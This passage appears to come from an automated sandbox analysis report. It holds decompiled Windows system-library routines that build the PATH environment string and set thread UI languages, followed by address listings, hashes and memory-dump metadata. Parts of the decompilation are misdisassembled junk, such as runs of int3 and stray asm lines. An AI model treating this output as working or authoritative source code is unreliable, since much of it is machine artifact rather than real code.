				_t343 = (_v24 >> 0x0000001c & 0x00000003) - 1;
				_t281 = 0x48;
				_t311 = 0 | _t343 == 0x00000000;
				_t322 = 0;
				_v37 = _t343 == 0;
				if(_v48 <= 0) {
					L16:
					_t45 = _t281 - 0x48; // 0x0
					__eflags = _t45 - 0xfffe;
					if(_t45 > 0xfffe) {
						_t330 = 0xc0000106;
						goto L32;
					} else {
						_t329 = L04654620(_t291,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t281);
						_v52 = _t329;
						__eflags = _t329;
						if(_t329 == 0) {
							_t330 = 0xc0000017;
							goto L32;
						} else {
							 *(_t329 + 0x44) =  *(_t329 + 0x44) & 0x00000000;
							_t50 = _t329 + 0x48; // 0x48
							_t324 = _t50;
							_t311 = _v32;
							 *((intOrPtr*)(_t329 + 0x3c)) = _t281;
							_t283 = 0;
							 *((short*)(_t329 + 0x30)) = _v48;
							__eflags = _t311;
							if(_t311 != 0) {
								 *(_t329 + 0x18) = _t324;
								__eflags = _t311 - 0x4728478;
								 *_t329 = ((0 | _t311 == 0x04728478) - 0x00000001 & 0xfffffffb) + 7;
								E0467F3E0(_t324,  *((intOrPtr*)(_t311 + 4)),  *_t311 & 0x0000ffff);
								_t311 = _v32;
								_t339 = _t339 + 0xc;
								_t283 = 1;
								__eflags = _a8;
								_t324 = _t324 + (( *_t311 & 0x0000ffff) >> 1) * 2;
								if(_a8 != 0) {
									_t275 = E046C39F2(_t324);
									_t311 = _v32;
									_t324 = _t275;
								}
							}
							_t295 = 0;
							_v16 = 0;
							__eflags = _v48;
							if(_v48 <= 0) {
								L31:
								_t330 = _v68;
								__eflags = 0;
								 *((short*)(_t324 - 2)) = 0;
								goto L32;
							} else {
								_t285 = _t329 + _t283 * 4;
								_v56 = _t285;
								do {
									__eflags = _t311;
									if(_t311 != 0) {
										_t238 =  *(_v60 + _t295 * 4);
										__eflags = _t238;
										if(_t238 == 0) {
											goto L30;
										} else {
											__eflags = _t238 == 5;
											if(_t238 == 5) {
												goto L30;
											} else {
												goto L22;
											}
										}
									} else {
										L22:
										 *_t285 =  *(_v60 + _t295 * 4);
										 *(_t285 + 0x18) = _t324;
										_t242 =  *(_v60 + _t295 * 4);
										__eflags = _t242 - 8;
										if(_t242 > 8) {
											goto L56;
										} else {
											switch( *((intOrPtr*)(_t242 * 4 +  &M04662959))) {
												case 0:
													__ax =  *0x4728488;
													__eflags = __ax;
													if(__ax == 0) {
														goto L29;
													} else {
														__ax & 0x0000ffff = E0467F3E0(__edi,  *0x472848c, __ax & 0x0000ffff);
														__eax =  *0x4728488 & 0x0000ffff;
														goto L26;
													}
													goto L108;
												case 1:
													L45:
													E0467F3E0(_t324, _v80, _v64);
													_t270 = _v64;
													goto L26;
												case 2:
													 *0x4728480 & 0x0000ffff = E0467F3E0(__edi,  *0x4728484,  *0x4728480 & 0x0000ffff);
													__eax =  *0x4728480 & 0x0000ffff;
													__eax = ( *0x4728480 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													goto L28;
												case 3:
													__eax = _v44;
													__eflags = __eax;
													if(__eax == 0) {
														goto L29;
													} else {
														__esi = __eax + __eax;
														__eax = E0467F3E0(__edi, _v72, __esi);
														__edi = __edi + __esi;
														__esi = _v52;
														goto L27;
													}
													goto L108;
												case 4:
													_push(0x2e);
													_pop(__eax);
													 *(__esi + 0x44) = __edi;
													 *__edi = __ax;
													__edi = __edi + 4;
													_push(0x3b);
													_pop(__eax);
													 *(__edi - 2) = __ax;
													goto L29;
												case 5:
													__eflags = _v36;
													if(_v36 == 0) {
														goto L45;
													} else {
														E0467F3E0(_t324, _v76, _v36);
														_t270 = _v36;
													}
													L26:
													_t339 = _t339 + 0xc;
													_t324 = _t324 + (_t270 >> 1) * 2 + 2;
													__eflags = _t324;
													L27:
													_push(0x3b);
													_pop(_t272);
													 *((short*)(_t324 - 2)) = _t272;
													goto L28;
												case 6:
													__ebx =  *0x472575c;
													__eflags = __ebx - 0x472575c;
													if(__ebx != 0x472575c) {
														_push(0x3b);
														_pop(__esi);
														do {
															 *(__ebx + 8) & 0x0000ffff = __ebx + 0xa;
															E0467F3E0(__edi, __ebx + 0xa,  *(__ebx + 8) & 0x0000ffff) =  *(__ebx + 8) & 0x0000ffff;
															__eax = ( *(__ebx + 8) & 0x0000ffff) >> 1;
															__edi = __edi + __eax * 2;
															__edi = __edi + 2;
															 *(__edi - 2) = __si;
															__ebx =  *__ebx;
															__eflags = __ebx - 0x472575c;
														} while (__ebx != 0x472575c);
														__esi = _v52;
														__ecx = _v16;
														__edx = _v32;
													}
													__ebx = _v56;
													goto L29;
												case 7:
													 *0x4728478 & 0x0000ffff = E0467F3E0(__edi,  *0x472847c,  *0x4728478 & 0x0000ffff);
													__eax =  *0x4728478 & 0x0000ffff;
													__eax = ( *0x4728478 & 0x0000ffff) >> 1;
													__eflags = _a8;
													__edi = __edi + __eax * 2;
													if(_a8 != 0) {
														__ecx = __edi;
														__eax = E046C39F2(__ecx);
														__edi = __eax;
													}
													goto L28;
												case 8:
													__eax = 0;
													 *(__edi - 2) = __ax;
													 *0x4726e58 & 0x0000ffff = E0467F3E0(__edi,  *0x4726e5c,  *0x4726e58 & 0x0000ffff);
													 *(__esi + 0x38) = __edi;
													__eax =  *0x4726e58 & 0x0000ffff;
													__eax = ( *0x4726e58 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													__edi = __edi + 2;
													L28:
													_t295 = _v16;
													_t311 = _v32;
													L29:
													_t285 = _t285 + 4;
													__eflags = _t285;
													_v56 = _t285;
													goto L30;
											}
										}
									}
									goto L108;
									L30:
									_t295 = _t295 + 1;
									_v16 = _t295;
									__eflags = _t295 - _v48;
								} while (_t295 < _v48);
								goto L31;
							}
						}
					}
				} else {
					while(1) {
						L1:
						_t242 =  *(_v60 + _t322 * 4);
						if(_t242 > 8) {
							break;
						}
						switch( *((intOrPtr*)(_t242 * 4 +  &M04662935))) {
							case 0:
								__ax =  *0x4728488;
								__eflags = __ax;
								if(__ax != 0) {
									__eax = __ax & 0x0000ffff;
									__ebx = __ebx + 2;
									__eflags = __ebx;
									goto L53;
								}
								goto L14;
							case 1:
								L44:
								_t311 =  &_v64;
								_v80 = E04662E3E(0,  &_v64);
								_t281 = _t281 + _v64 + 2;
								goto L13;
							case 2:
								__eax =  *0x4728480 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0x4728480;
									goto L80;
								}
								goto L14;
							case 3:
								__eax = E0464EEF0(0x47279a0);
								__eax =  &_v44;
								_push(__eax);
								_push(0);
								_push(0);
								_push(4);
								_push(L"PATH");
								_push(0);
								L57();
								__esi = __eax;
								_v68 = __esi;
								__eflags = __esi - 0xc0000023;
								if(__esi != 0xc0000023) {
									L10:
									__eax = E0464EB70(__ecx, 0x47279a0);
									__eflags = __esi - 0xc0000100;
									if(__esi == 0xc0000100) {
										_v44 = _v44 & 0x00000000;
										__eax = 0;
										_v68 = 0;
										goto L13;
									} else {
										__eflags = __esi;
										if(__esi < 0) {
											L32:
											_t216 = _v72;
											__eflags = _t216;
											if(_t216 != 0) {
												L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t216);
											}
											_t217 = _v52;
											__eflags = _t217;
											if(_t217 != 0) {
												__eflags = _t330;
												if(_t330 < 0) {
													L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t217);
													_t217 = 0;
												}
											}
											goto L36;
										} else {
											__eax = _v44;
											__ebx = __ebx + __eax * 2;
											__ebx = __ebx + 2;
											__eflags = __ebx;
											L13:
											_t291 = _v36;
											goto L14;
										}
									}
								} else {
									__eax = _v44;
									__ecx =  *0x4727b9c; // 0x0
									_v44 + _v44 =  *[fs:0x30];
									__ecx = __ecx + 0x180000;
									__eax = L04654620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), __ecx,  *[fs:0x30]);
									_v72 = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										__eax = E0464EB70(__ecx, 0x47279a0);
										__eax = _v52;
										L36:
										_pop(_t323);
										_pop(_t331);
										__eflags = _v8 ^ _t335;
										_pop(_t282);
										return E0467B640(_t217, _t282, _v8 ^ _t335, _t311, _t323, _t331);
									} else {
										__ecx =  &_v44;
										_push(__ecx);
										_push(_v44);
										_push(__eax);
										_push(4);
										_push(L"PATH");
										_push(0);
										L57();
										__esi = __eax;
										_v68 = __eax;
										goto L10;
									}
								}
								goto L108;
							case 4:
								__ebx = __ebx + 4;
								goto L14;
							case 5:
								_t277 = _v56;
								if(_v56 != 0) {
									_t311 =  &_v36;
									_t279 = E04662E3E(_t277,  &_v36);
									_t291 = _v36;
									_v76 = _t279;
								}
								if(_t291 == 0) {
									goto L44;
								} else {
									_t281 = _t281 + 2 + _t291;
								}
								goto L14;
							case 6:
								__eax =  *0x4725764 & 0x0000ffff;
								goto L53;
							case 7:
								__eax =  *0x4728478 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = _a8;
								if(_a8 != 0) {
									__ebx = __ebx + 0x16;
									__ebx = __ebx + __eax;
								}
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0x4728478;
									L80:
									_v32 = __eax;
								}
								goto L14;
							case 8:
								__eax =  *0x4726e58 & 0x0000ffff;
								__eax = ( *0x4726e58 & 0x0000ffff) + 2;
								L53:
								__ebx = __ebx + __eax;
								L14:
								_t322 = _t322 + 1;
								if(_t322 >= _v48) {
									goto L16;
								} else {
									_t311 = _v37;
									goto L1;
								}
								goto L108;
						}
					}
					L56:
					_push(0x25);
					asm("int 0x29");
					asm("out 0x28, al");
					asm("o16 add al, 0x66");
					 *((intOrPtr*)(_t329 + 4)) =  *((intOrPtr*)(_t329 + 4)) - _t242;
					asm("loopne 0x29");
					asm("o16 add al, 0x2e");
					asm("o16 add al, 0x46");
					 *((intOrPtr*)(_t329 + 4)) =  *((intOrPtr*)(_t329 + 4)) - _t242;
					_t244 = _t339;
					 *((intOrPtr*)(_t329 + 4)) =  *((intOrPtr*)(_t329 + 4)) - _t244;
					_t245 = _t244 ^ 0x02046a5b;
					 *((intOrPtr*)(_t329 + 4)) =  *((intOrPtr*)(_t329 + 4)) - _t242 + 0x1f046626;
					 *_t245 =  *_t245 - 0x66;
					_t246 = _t245 + 0xf6;
					asm("daa");
					asm("o16 add al, 0x1e");
					 *((intOrPtr*)(_t329 + 4)) =  *((intOrPtr*)(_t329 + 4)) - _t246;
					_t332 = _t329 - 1;
					 *((intOrPtr*)(_t329 - 1 + 4)) =  *((intOrPtr*)(_t329 - 1 + 4)) - _t246;
					asm("daa");
					asm("o16 add al, 0xd8");
					_t287 = 4;
					asm("o16 add al, 0x34");
					_t342 = 4;
					_push(4);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(0x20);
					_push(0x470ff00);
					E0468D08C(_t287, _t324, _t332);
					_v44 =  *[fs:0x18];
					_t325 = 0;
					 *_a24 = 0;
					_t288 = _a12;
					__eflags = _t288;
					if(_t288 == 0) {
						_t250 = 0xc0000100;
					} else {
						_v8 = 0;
						_t333 = 0xc0000100;
						_v52 = 0xc0000100;
						_t252 = 4;
						while(1) {
							_v40 = _t252;
							__eflags = _t252;
							if(_t252 == 0) {
								break;
							}
							_t301 = _t252 * 0xc;
							_v48 = _t301;
							__eflags = _t288 -  *((intOrPtr*)(_t301 + 0x4611664));
							if(__eflags <= 0) {
								if(__eflags == 0) {
									_t267 = E0467E5C0(_a8,  *((intOrPtr*)(_t301 + 0x4611668)), _t288);
									_t342 = _t342 + 0xc;
									__eflags = _t267;
									if(__eflags == 0) {
										_t333 = E046B51BE(_t288,  *((intOrPtr*)(_v48 + 0x461166c)), _a16, _t325, _t333, __eflags, _a20, _a24);
										_v52 = _t333;
										break;
									} else {
										_t252 = _v40;
										goto L62;
									}
									goto L70;
								} else {
									L62:
									_t252 = _t252 - 1;
									continue;
								}
							}
							break;
						}
						_v32 = _t333;
						__eflags = _t333;
						if(_t333 < 0) {
							__eflags = _t333 - 0xc0000100;
							if(_t333 == 0xc0000100) {
								_t297 = _a4;
								__eflags = _t297;
								if(_t297 != 0) {
									_v36 = _t297;
									__eflags =  *_t297 - _t325;
									if( *_t297 == _t325) {
										_t333 = 0xc0000100;
										goto L76;
									} else {
										_t313 =  *((intOrPtr*)(_v44 + 0x30));
										_t254 =  *((intOrPtr*)(_t313 + 0x10));
										__eflags =  *((intOrPtr*)(_t254 + 0x48)) - _t297;
										if( *((intOrPtr*)(_t254 + 0x48)) == _t297) {
											__eflags =  *(_t313 + 0x1c);
											if( *(_t313 + 0x1c) == 0) {
												L106:
												_t333 = E04662AE4( &_v36, _a8, _t288, _a16, _a20, _a24);
												_v32 = _t333;
												__eflags = _t333 - 0xc0000100;
												if(_t333 != 0xc0000100) {
													goto L69;
												} else {
													_t325 = 1;
													_t297 = _v36;
													goto L75;
												}
											} else {
												_t257 = E04646600( *(_t313 + 0x1c));
												__eflags = _t257;
												if(_t257 != 0) {
													goto L106;
												} else {
													_t297 = _a4;
													goto L75;
												}
											}
										} else {
											L75:
											_t333 = E04662C50(_t297, _a8, _t288, _a16, _a20, _a24, _t325);
											L76:
											_v32 = _t333;
											goto L69;
										}
									}
									goto L108;
								} else {
									E0464EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
									_v8 = 1;
									_v36 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v44 + 0x30)) + 0x10)) + 0x48));
									_t333 = _a24;
									_t264 = E04662AE4( &_v36, _a8, _t288, _a16, _a20, _t333);
									_v32 = _t264;
									__eflags = _t264 - 0xc0000100;
									if(_t264 == 0xc0000100) {
										_v32 = E04662C50(_v36, _a8, _t288, _a16, _a20, _t333, 1);
									}
									_v8 = _t325;
									E04662ACB();
								}
							}
						}
						L69:
						_v8 = 0xfffffffe;
						_t250 = _t333;
					}
					L70:
					return E0468D0D1(_t250);
				}
				L108:
			}

0x04662584
0x04662586
0x04662590
0x04662596
0x04662597
0x04662598
0x04662599
0x0466259e
0x046625a4
0x046625a9
0x046625ac
0x046625ae
0x046625b1
0x046625b2
0x046625b5
0x046625b8
0x046625bb
0x046625bc
0x046625bf
0x046625c2
0x046625c5
0x046625c6
0x046625cb
0x046625ce
0x046625d8
0x046625db
0x046625dd
0x046625de
0x046625e1
0x046625e3
0x046625e9
0x046626da
0x046626da
0x046626dd
0x046626e2
0x046a5b56
0x00000000
0x046626e8
0x046626f9
0x046626fb
0x046626fe
0x04662700
0x046a5b60
0x00000000
0x04662706
0x04662706
0x0466270a
0x0466270a
0x0466270d
0x04662713
0x04662716
0x04662718
0x0466271c
0x0466271e
0x046a5b6c
0x046a5b6f
0x046a5b7f
0x046a5b89
0x046a5b8e
0x046a5b93
0x046a5b96
0x046a5b9c
0x046a5ba0
0x046a5ba3
0x046a5bab
0x046a5bb0
0x046a5bb3
0x046a5bb3
0x046a5ba3
0x04662724
0x04662726
0x04662729
0x0466272c
0x0466279d
0x0466279d
0x046627a0
0x046627a2
0x00000000
0x0466272e
0x0466272e
0x04662731
0x04662734
0x04662734
0x04662736
0x046a5bc1
0x046a5bc1
0x046a5bc4
0x00000000
0x046a5bca
0x046a5bca
0x046a5bcd
0x00000000
0x046a5bd3
0x00000000
0x046a5bd3
0x046a5bcd
0x0466273c
0x0466273c
0x04662742
0x04662747
0x0466274a
0x0466274d
0x04662750
0x00000000
0x04662756
0x04662756
0x00000000
0x04662902
0x04662908
0x0466290b
0x00000000
0x04662911
0x0466291c
0x04662921
0x00000000
0x04662921
0x00000000
0x00000000
0x04662880
0x04662887
0x0466288c
0x00000000
0x00000000
0x04662805
0x0466280a
0x04662814
0x04662816
0x00000000
0x00000000
0x0466281e
0x04662821
0x04662823
0x00000000
0x04662829
0x04662829
0x04662831
0x0466283c
0x0466283e
0x00000000
0x0466283e
0x00000000
0x00000000
0x0466284e
0x04662850
0x04662851
0x04662854
0x04662857
0x0466285a
0x0466285c
0x0466285d
0x00000000
0x00000000
0x0466275d
0x04662761
0x00000000
0x04662767
0x0466276e
0x04662773
0x04662773
0x04662776
0x04662778
0x0466277e
0x0466277e
0x04662781
0x04662781
0x04662783
0x04662784
0x00000000
0x00000000
0x046a5bd8
0x046a5bde
0x046a5be4
0x046a5be6
0x046a5be8
0x046a5be9
0x046a5bee
0x046a5bf8
0x046a5bff
0x046a5c01
0x046a5c04
0x046a5c07
0x046a5c0b
0x046a5c0d
0x046a5c0d
0x046a5c15
0x046a5c18
0x046a5c1b
0x046a5c1b
0x046a5c1e
0x00000000
0x00000000
0x046628c3
0x046628c8
0x046628d2
0x046628d4
0x046628d8
0x046628db
0x046a5c26
0x046a5c28
0x046a5c2d
0x046a5c2d
0x00000000
0x00000000
0x046a5c34
0x046a5c36
0x046a5c49
0x046a5c4e
0x046a5c54
0x046a5c5b
0x046a5c5d
0x046a5c60
0x04662788
0x04662788
0x0466278b
0x0466278e
0x0466278e
0x0466278e
0x04662791
0x00000000
0x00000000
0x04662756
0x04662750
0x00000000
0x04662794
0x04662794
0x04662795
0x04662798
0x04662798
0x00000000
0x04662734
0x0466272c
0x04662700
0x046625ef
0x046625ef
0x046625ef
0x046625f2
0x046625f8
0x00000000
0x00000000
0x046625fe
0x00000000
0x046628e6
0x046628ec
0x046628ef
0x046628f5
0x046628f8
0x046628f8
0x00000000
0x046628f8
0x00000000
0x00000000
0x04662866
0x04662866
0x04662876
0x04662879
0x00000000
0x00000000
0x046627e0
0x046627e7
0x046627e9
0x046627eb
0x046a5afd
0x00000000
0x046a5afd
0x00000000
0x00000000
0x04662633
0x04662638
0x0466263b
0x0466263c
0x0466263e
0x04662640
0x04662642
0x04662647
0x04662649
0x0466264e
0x04662650
0x04662653
0x04662659
0x046626a2
0x046626a7
0x046626ac
0x046626b2
0x046a5b11
0x046a5b15
0x046a5b17
0x00000000
0x046626b8
0x046626b8
0x046626ba
0x046627a6
0x046627a6
0x046627a9
0x046627ab
0x046627b9
0x046627b9
0x046627be
0x046627c1
0x046627c3
0x046627c5
0x046627c7
0x046a5c74
0x046a5c79
0x046a5c79
0x046627c7
0x00000000
0x046626c0
0x046626c0
0x046626c3
0x046626c6
0x046626c6
0x046626c9
0x046626c9
0x00000000
0x046626c9
0x046626ba
0x0466265b
0x0466265b
0x0466265e
0x04662667
0x0466266d
0x04662677
0x0466267c
0x0466267f
0x04662681
0x046a5b49
0x046a5b4e
0x046627cd
0x046627d0
0x046627d1
0x046627d2
0x046627d4
0x046627dd
0x04662687
0x04662687
0x0466268a
0x0466268b
0x0466268e
0x0466268f
0x04662691
0x04662696
0x04662698
0x0466269d
0x0466269f
0x00000000
0x0466269f
0x04662681
0x00000000
0x00000000
0x04662846
0x00000000
0x00000000
0x04662605
0x0466260a
0x0466260c
0x04662611
0x04662616
0x04662619
0x04662619
0x0466261e
0x00000000
0x04662624
0x04662627
0x04662627
0x00000000
0x00000000
0x046a5b1f
0x00000000
0x00000000
0x04662894
0x0466289b
0x0466289d
0x046628a1
0x046a5b2b
0x046a5b2e
0x046a5b2e
0x046628a7
0x046628a9
0x046a5b04
0x046a5b09
0x046a5b09
0x046a5b09
0x00000000
0x00000000
0x046a5b35
0x046a5b3c
0x046628fb
0x046628fb
0x046626cc
0x046626cc
0x046626d0
0x00000000
0x046626d2
0x046626d2
0x00000000
0x046626d2
0x00000000
0x00000000
0x046625fe
0x0466292d
0x0466292d
0x04662930
0x04662935
0x04662937
0x0466293a
0x0466293d
0x0466293f
0x04662942
0x04662946
0x04662951
0x04662952
0x04662955
0x0466295a
0x0466295d
0x04662960
0x04662962
0x04662963
0x04662966
0x04662969
0x0466296a
0x0466296e
0x0466296f
0x04662972
0x04662977
0x0466297a
0x0466297b
0x0466297d
0x0466297e
0x0466297f
0x04662980
0x04662981
0x04662982
0x04662983
0x04662984
0x04662985
0x04662986
0x04662987
0x04662988
0x04662989
0x0466298a
0x0466298b
0x0466298c
0x0466298d
0x0466298e
0x0466298f
0x04662990
0x04662992
0x04662997
0x046629a3
0x046629a6
0x046629ab
0x046629ad
0x046629b0
0x046629b2
0x046a5c80
0x046629b8
0x046629b8
0x046629bb
0x046629c0
0x046629c5
0x046629c6
0x046629c6
0x046629c9
0x046629cb
0x00000000
0x00000000
0x046629cd
0x046629d0
0x046629d9
0x046629db
0x046629dd
0x04662a7f
0x04662a84
0x04662a87
0x04662a89
0x046a5ca1
0x046a5ca3
0x00000000
0x04662a8f
0x04662a8f
0x00000000
0x04662a8f
0x00000000
0x046629e3
0x046629e3
0x046629e3
0x00000000
0x046629e3
0x046629dd
0x00000000
0x046629db
0x046629e6
0x046629e9
0x046629eb
0x046629ed
0x046629f3
0x046629f5
0x046629f8
0x046629fa
0x04662a97
0x04662a9a
0x04662a9d
0x04662add
0x00000000
0x04662a9f
0x04662aa2
0x04662aa5
0x04662aa8
0x04662aab
0x046a5cab
0x046a5caf
0x046a5cc5
0x046a5cda
0x046a5cdc
0x046a5cdf
0x046a5ce5
0x00000000
0x046a5ceb
0x046a5ced
0x046a5cee
0x00000000
0x046a5cee
0x046a5cb1
0x046a5cb4
0x046a5cb9
0x046a5cbb
0x00000000
0x046a5cbd
0x046a5cbd
0x00000000
0x046a5cbd
0x046a5cbb
0x04662ab1
0x04662ab1
0x04662ac4
0x04662ac6
0x04662ac6
0x00000000
0x04662ac6
0x04662aab
0x00000000
0x04662a00
0x04662a09
0x04662a0e
0x04662a21
0x04662a24
0x04662a35
0x04662a3a
0x04662a3d
0x04662a42
0x04662a59
0x04662a59
0x04662a5c
0x04662a5f
0x04662a5f
0x046629fa
0x046629f3
0x04662a64
0x04662a64
0x04662a6b
0x04662a6b
0x04662a6d
0x04662a72
0x04662a72
0x00000000

Strings

PATH, xrefs: 04662642, 04662691

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: PATH
API String ID: 0-1036084923
Opcode ID: a7d452703a07bae6a1dce1e8433a3663049b39fc79b4d6c96f82105586763c16
Instruction ID: deba601e01d1c1564d3de6ae6cc85cc5811ec0ff0c94caa504780cf9b2358731
Opcode Fuzzy Hash: a7d452703a07bae6a1dce1e8433a3663049b39fc79b4d6c96f82105586763c16
Instruction Fuzzy Hash: CFC18171E00619EBDB24EF99D990AADBBB1FF48704F044169E402AB350F735BD42CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0466FAB0, Relevance: 1.6, Strings: 1, Instructions: 306
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E0466FAB0(void* __ebx, void* __esi, signed int _a8, signed int _a12) {
				char _v5;
				signed int _v8;
				signed int _v12;
				char _v16;
				char _v17;
				char _v20;
				signed int _v24;
				char _v28;
				char _v32;
				signed int _v40;
				void* __ecx;
				void* __edi;
				void* __ebp;
				signed int _t73;
				intOrPtr* _t75;
				signed int _t77;
				signed int _t79;
				signed int _t81;
				intOrPtr _t83;
				intOrPtr _t85;
				intOrPtr _t86;
				signed int _t91;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t106;
				signed int _t108;
				signed int _t114;
				signed int _t116;
				signed int _t118;
				signed int _t122;
				signed int _t123;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t134;
				signed int _t138;
				signed int _t141;
				signed int _t147;
				intOrPtr _t153;
				signed int _t154;
				signed int _t155;
				signed int _t170;
				void* _t174;
				signed int _t176;
				signed int _t177;

				_t129 = __ebx;
				_push(_t132);
				_push(__esi);
				_t174 = _t132;
				_t73 =  !( *( *(_t174 + 0x18)));
				if(_t73 >= 0) {
					L5:
					return _t73;
				} else {
					E0464EEF0(0x4727b60);
					_t134 =  *0x4727b84; // 0x77f07b80
					_t2 = _t174 + 0x24; // 0x24
					_t75 = _t2;
					if( *_t134 != 0x4727b80) {
						_push(3);
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x4727b60);
						_t170 = _v8;
						_v28 = 0;
						_v40 = 0;
						_v24 = 0;
						_v17 = 0;
						_v32 = 0;
						__eflags = _t170 & 0xffff7cf2;
						if((_t170 & 0xffff7cf2) != 0) {
							L43:
							_t77 = 0xc000000d;
						} else {
							_t79 = _t170 & 0x0000000c;
							__eflags = _t79;
							if(_t79 != 0) {
								__eflags = _t79 - 0xc;
								if(_t79 == 0xc) {
									goto L43;
								} else {
									goto L9;
								}
							} else {
								_t170 = _t170 | 0x00000008;
								__eflags = _t170;
								L9:
								_t81 = _t170 & 0x00000300;
								__eflags = _t81 - 0x300;
								if(_t81 == 0x300) {
									goto L43;
								} else {
									_t138 = _t170 & 0x00000001;
									__eflags = _t138;
									_v24 = _t138;
									if(_t138 != 0) {
										__eflags = _t81;
										if(_t81 != 0) {
											goto L43;
										} else {
											goto L11;
										}
									} else {
										L11:
										_push(_t129);
										_t77 = E04646D90( &_v20);
										_t130 = _t77;
										__eflags = _t130;
										if(_t130 >= 0) {
											_push(_t174);
											__eflags = _t170 & 0x00000301;
											if((_t170 & 0x00000301) == 0) {
												_t176 = _a8;
												__eflags = _t176;
												if(__eflags == 0) {
													L64:
													_t83 =  *[fs:0x18];
													_t177 = 0;
													__eflags =  *(_t83 + 0xfb8);
													if( *(_t83 + 0xfb8) != 0) {
														E046476E2( *((intOrPtr*)( *[fs:0x18] + 0xfb8)));
														 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = 0;
													}
													 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = _v12;
													goto L15;
												} else {
													asm("sbb edx, edx");
													_t114 = E046D8938(_t130, _t176, ( ~(_t170 & 4) & 0xffffffaf) + 0x55, _t170, _t176, __eflags);
													__eflags = _t114;
													if(_t114 < 0) {
														_push("*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!\n");
														E0463B150();
													}
													_t116 = E046D6D81(_t176,  &_v16);
													__eflags = _t116;
													if(_t116 >= 0) {
														__eflags = _v16 - 2;
														if(_v16 < 2) {
															L56:
															_t118 = E046475CE(_v20, 5, 0);
															__eflags = _t118;
															if(_t118 < 0) {
																L67:
																_t130 = 0xc0000017;
																goto L32;
															} else {
																__eflags = _v12;
																if(_v12 == 0) {
																	goto L67;
																} else {
																	_t153 =  *0x4728638; // 0xa6c1f8
																	_t122 = L046438A4(_t153, _t176, _v16, _t170 | 0x00000002, 0x1a, 5,  &_v12);
																	_t154 = _v12;
																	_t130 = _t122;
																	__eflags = _t130;
																	if(_t130 >= 0) {
																		_t123 =  *(_t154 + 4) & 0x0000ffff;
																		__eflags = _t123;
																		if(_t123 != 0) {
																			_t155 = _a12;
																			__eflags = _t155;
																			if(_t155 != 0) {
																				 *_t155 = _t123;
																			}
																			goto L64;
																		} else {
																			E046476E2(_t154);
																			goto L41;
																		}
																	} else {
																		E046476E2(_t154);
																		_t177 = 0;
																		goto L18;
																	}
																}
															}
														} else {
															__eflags =  *_t176;
															if( *_t176 != 0) {
																goto L56;
															} else {
																__eflags =  *(_t176 + 2);
																if( *(_t176 + 2) == 0) {
																	goto L64;
																} else {
																	goto L56;
																}
															}
														}
													} else {
														_t130 = 0xc000000d;
														goto L32;
													}
												}
												goto L35;
											} else {
												__eflags = _a8;
												if(_a8 != 0) {
													_t77 = 0xc000000d;
												} else {
													_v5 = 1;
													L0466FCE3(_v20, _t170);
													_t177 = 0;
													__eflags = 0;
													L15:
													_t85 =  *[fs:0x18];
													__eflags =  *((intOrPtr*)(_t85 + 0xfc0)) - _t177;
													if( *((intOrPtr*)(_t85 + 0xfc0)) == _t177) {
														L18:
														__eflags = _t130;
														if(_t130 != 0) {
															goto L32;
														} else {
															__eflags = _v5 - _t130;
															if(_v5 == _t130) {
																goto L32;
															} else {
																_t86 =  *[fs:0x18];
																__eflags =  *((intOrPtr*)(_t86 + 0xfbc)) - _t177;
																if( *((intOrPtr*)(_t86 + 0xfbc)) != _t177) {
																	_t177 =  *( *( *[fs:0x18] + 0xfbc));
																}
																__eflags = _t177;
																if(_t177 == 0) {
																	L31:
																	__eflags = 0;
																	L046470F0(_t170 | 0x00000030,  &_v32, 0,  &_v28);
																	goto L32;
																} else {
																	__eflags = _v24;
																	_t91 =  *(_t177 + 0x20);
																	if(_v24 != 0) {
																		 *(_t177 + 0x20) = _t91 & 0xfffffff9;
																		goto L31;
																	} else {
																		_t141 = _t91 & 0x00000040;
																		__eflags = _t170 & 0x00000100;
																		if((_t170 & 0x00000100) == 0) {
																			__eflags = _t141;
																			if(_t141 == 0) {
																				L74:
																				_t94 = _t91 & 0xfffffffd | 0x00000004;
																				goto L27;
																			} else {
																				_t177 = E0466FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					goto L42;
																				} else {
																					_t130 = E0466FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						_t68 = _t177 + 0x20;
																						 *_t68 =  *(_t177 + 0x20) & 0xffffffbf;
																						__eflags =  *_t68;
																						_t91 =  *(_t177 + 0x20);
																						goto L74;
																					}
																				}
